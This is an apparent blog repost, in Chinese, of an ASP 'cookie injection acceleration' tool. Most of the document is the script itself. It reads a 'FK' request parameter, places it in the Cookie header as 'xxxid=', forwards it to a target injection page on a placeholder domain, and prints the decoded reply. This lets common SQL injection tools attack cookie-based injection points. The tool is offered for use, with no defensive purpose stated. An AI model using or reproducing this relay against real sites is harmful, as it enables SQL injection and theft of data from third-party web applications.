ASP版实现cookies注入加速工具

来源：职业欠钱&zj1244共用的public Blog

复制代码 代码如下:

<% 

Str="xxxid="&escape(request("FK")) 

Url="http://xxx.chinaxxx.com/injection.asp" 

response.write PostData(Url,Str)

Function PostData(PostUrl,PostCok)  

Dim Http 

Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 

With Http

.Open "GET",PostUrl,False 

.SetRequestHeader "Cookie",PostCok 

.Send 

PostData = .ResponseBody 

End With 

Set Http = Nothing 

PostData =bytes2BSTR(PostData) 

End Function

Function bytes2BSTR(vIn) 

Dim strReturn 

Dim I, ThisCharCode, NextCharCode 

strReturn = "" 

For I = 1 To LenB(vIn) 

ThisCharCode = AscB(MidB(vIn, I, 1)) 

If ThisCharCode < &H80 Then 

strReturn = strReturn & Chr(ThisCharCode) 

Else 

NextCharCode = AscB(MidB(vIn, I + 1, 1)) 

strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 

I = I + 1 

End If 

Next 

bytes2BSTR = strReturn 

End Function

%>